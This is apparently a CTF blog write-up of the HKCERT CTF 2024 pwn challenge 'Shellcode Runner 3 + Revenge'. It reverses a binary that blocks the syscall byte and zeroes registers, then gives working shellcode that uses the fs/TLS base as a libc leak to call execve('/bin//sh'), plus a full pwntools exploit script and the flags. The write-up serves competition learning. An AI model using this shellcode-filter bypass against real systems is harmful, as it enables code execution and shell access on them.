👾
Elijah's CTF Blog
  • 👋Home
  • 🇲🇾Wargames.MY CTF 2024
    • Credentials (crypto)
    • Stones (rev)
    • Rick'S Algorithm (crypto)
    • Rick'S Algorithm 2 (crypto)
    • Hohoho 3 continue (crypto)
  • 🎄Advent of CTF 2024
    • Jingle Bell ROP (pwn)
    • help (pwn)
  • Backdoor CTF 24
    • [rev] Ratatouille
  • 🇭🇰HKCERT CTF 24
    • Shellcode Runner 3 + Revenge (pwn)
    • ISH (1) (pwn)
    • Cyp.ress (rev)
    • Void (rev)
  • 🇮🇹ECSC 2024
    • ➕OffTopic (crypto)
  • 🎩Greyhats WelcomeCTF 24
    • EE2026 (misc)
  • 🚆UIUCTF 24
    • Syscalls (pwn)
    • Summarize (rev)
    • X Marked the Spot (crypto)
    • Without a Trace (crypto)
    • Determined (crypto)
    • Naptime (crypto)
    • Snore Signatures (crypto)
  • 🪼Jelly CTF 24
    • Cherry (crypto)
    • the_brewing_secrets (crypto)
  • 👨‍🦯vsCTF 24
    • Dream (crypto)
    • Cosmic Ray V3 (pwn)
  • 😎AKASEC CTF 24
    • Warmup (pwn)
    • Good_trip (pwn)
    • Sperm Rev (rev)
    • Paranoia (rev)
    • Grip (rev)
    • Risks (rev)
    • Lost (crypto)
  • 😁L3AK CTF 24
    • oorrww (pwn)
    • angry (rev)
    • Related (crypto)
    • BatBot (web-misc)
    • Matrix Magic (crypto)
  • 🥹CDDC Qualifiers 2024
    • WASM (rev)
    • crashMe (pwn)
Powered by GitBook
On this page
  1. HKCERT CTF 24

Shellcode Runner 3 + Revenge (pwn)

Your favorite series of Shellcode runners is back! This time, we're not limiting you with any sandboxes. This should be an easy challenge...right?

Last updated 6 months ago

As the name suggests, the binary prompts us for shellcode and proceeds to run it. Let's inspect the pseudocode using Ghidra:

Note that mprotect(__s, 100, 4) means that the shellcode is not writable and readable but only executable. So any form of self-modifying shellcode would not work here.

Let's look at the blacklist function first:

undefined8 blacklist(long param_1)
{
  int local_c;
  
  local_c = 0;
  while( true ) {
    if (99 < local_c) {
      return 0;
    }
    if (*(char *)(param_1 + local_c) == '\x0f') break;
    local_c = local_c + 1;
  }
  return 1;
}

It essentially stops our shellcode from being run if the 0f byte is detected. This byte is present in the syscall instruction, which means that our shellcode can no longer use syscalls. One way to go around this is by using int 0x80 which is a legacy method of invoking syscalls, but I did not use that approach. Let's further reverse the binary.

There is even more going on under the hood when we look at the assembly. Just before the jmp rdi instruction which jumps to the shellcode, the program zeroes out all the registers to minimise our chances of getting any useful addresses:

    0010142e 48  31  c0       XOR        RAX ,RAX
    00101431 48  31  db       XOR        RBX ,RBX
    00101434 48  31  c9       XOR        RCX ,RCX
    00101437 48  31  d2       XOR        RDX ,RDX
    0010143a 48  31  f6       XOR        RSI ,RSI
    0010143d 48  31  ff       XOR        RDI ,RDI
    00101440 4d  31  c0       XOR        R8 ,R8
    00101443 4d  31  c9       XOR        R9 ,R9
    00101446 4d  31  d2       XOR        R10 ,R10
    00101449 4d  31  db       XOR        R11 ,R11
    0010144c 4d  31  e4       XOR        R12 ,R12
    0010144f 4d  31  ed       XOR        R13 ,R13
    00101452 4d  31  f6       XOR        R14 ,R14
    00101455 4d  31  ff       XOR        R15 ,R15
    00101458 48  31  e4       XOR        RSP ,RSP
    0010145b 0f  57  c0       XORPS      XMM0 ,XMM0
    0010145e 0f  57  c9       XORPS      XMM1 ,XMM1
    00101461 0f  57  d2       XORPS      XMM2 ,XMM2
    00101464 0f  57  db       XORPS      XMM3 ,XMM3
    00101467 0f  57  e4       XORPS      XMM4 ,XMM4
    0010146a 0f  57  ed       XORPS      XMM5 ,XMM5
    0010146d 0f  57  f6       XORPS      XMM6 ,XMM6
    00101470 0f  57  ff       XORPS      XMM7 ,XMM7
    00101473 45  0f  57       XORPS      XMM8 ,XMM8
             c0
    00101477 45  0f  57       XORPS      XMM9 ,XMM9
             c9
    0010147b 45  0f  57       XORPS      XMM10 ,XMM10
             d2
    0010147f 45  0f  57       XORPS      XMM11 ,XMM11
             db
    00101483 45  0f  57       XORPS      XMM12 ,XMM12
             e4
    00101487 45  0f  57       XORPS      XMM13 ,XMM13
             ed
    0010148b 45  0f  57       XORPS      XMM14 ,XMM14
             f6
    0010148f 45  0f  57       XORPS      XMM15 ,XMM15
             ff
    00101493 48  8b  7d       MOV        RDI ,qword ptr [RBP  + local_20 ]
             e8
    00101497 48  31  ed       XOR        RBP ,RBP
    0010149a ff  e7           JMP        RDI

It is a pwn challenge made by NUS Greyhats for the 2024 greyctf finals, and has the same ideas: Blacklisting syscall bytes and zeroing registers. The idea behind the solution was to read the fs register, which points to thread local storage (TLS), a region of memory adjacent to libc.

In pwndbg, I use vmmap to view the process' memory mappings, then info reg fs_base to see where the fs register is pointing to.

As we can see, it is pointing to 0x7ffff7d7d740, which is within the anon_7ffff7d7d region which is between 0x7ffff7d7d000 and 0x7ffff7d80000. This region comes right before libc. Hence, the fs register essentially acts as a libc leak for us.

Below is my shellcode:

mov rsp, fs:0x300 ; move rsp to some writable region
mov rbx, fs:0x0 ; rbx = fs
; change rbx to be the address of the execve function in libc
add rbx, {libc.sym['execve'] + (0x7ffff7d80000 - 0x7ffff7d7d740)} 
movabs rcx, 0x68732f2f6e69622f ; move the string /bin//sh in little endian into rcx
push rcx ; push rcx onto the stack so that rsp now points to the string
mov rdi, rsp ; move the string pointer into rdi
call rbx ; call execve. 
; Note that rsi = rdx = 0 so we are doing execve("/bin//sh", 0, 0)

I first transfer the value of fs into rbx, then let rbx store the address of execve in libc. Then, I make rdi point to the /bin//sh string, and call rbx.

And below is my full solve script:

from pwn import *
# fill in binary name
elf = context.binary = ELF("./chall")
# fill in libc name
libc = ELF("./libc.so.6")
# fill in ld name
ld = ELF("./ld-linux-x86-64.so.2")

if args.REMOTE:
  # fill in remote address
  # p = remote("c49-shellcode-runner3.hkcert24.pwnable.hk", 1337, ssl=True)
  p = remote("c49b-shellcode-runner3-rev.hkcert24.pwnable.hk", 1337, ssl=True)
else:
  p = process([ld.path, elf.path], env = {"LD_PRELOAD": libc.path})

sc = asm(f"""
mov rsp, fs:0x300
mov rbx, fs:0x0
add rbx, {libc.sym['execve'] + (0x7ffff7d80000 - 0x7ffff7d7d740)}
movabs rcx, 0x68732f2f6e69622f
push rcx
mov rdi, rsp
call rbx
""")
# pause()
p.sendlineafter(b"): ", sc)
p.interactive() 
# hkcert24{y37_4n07h3r_5h3llc0d3_runn3r_bu7_w17h0u7_54ndb0x}
# hkcert24{y37_4n07h3r_5h3llc0d3_runn3r_bu7_w17h0u7_54ndb0x_4nd_r3v3n363_15_r37urn3d!}

After some researching into this challenge, I found this:

🇭🇰
https://github.com/NUSGreyhats/greyctf24-challs-public/tree/main/finals/pwn/super_secure_blob_runner
5KB
shellcode-runner3_c29e0384ec8798f73887dc00cec61cef.zip
archive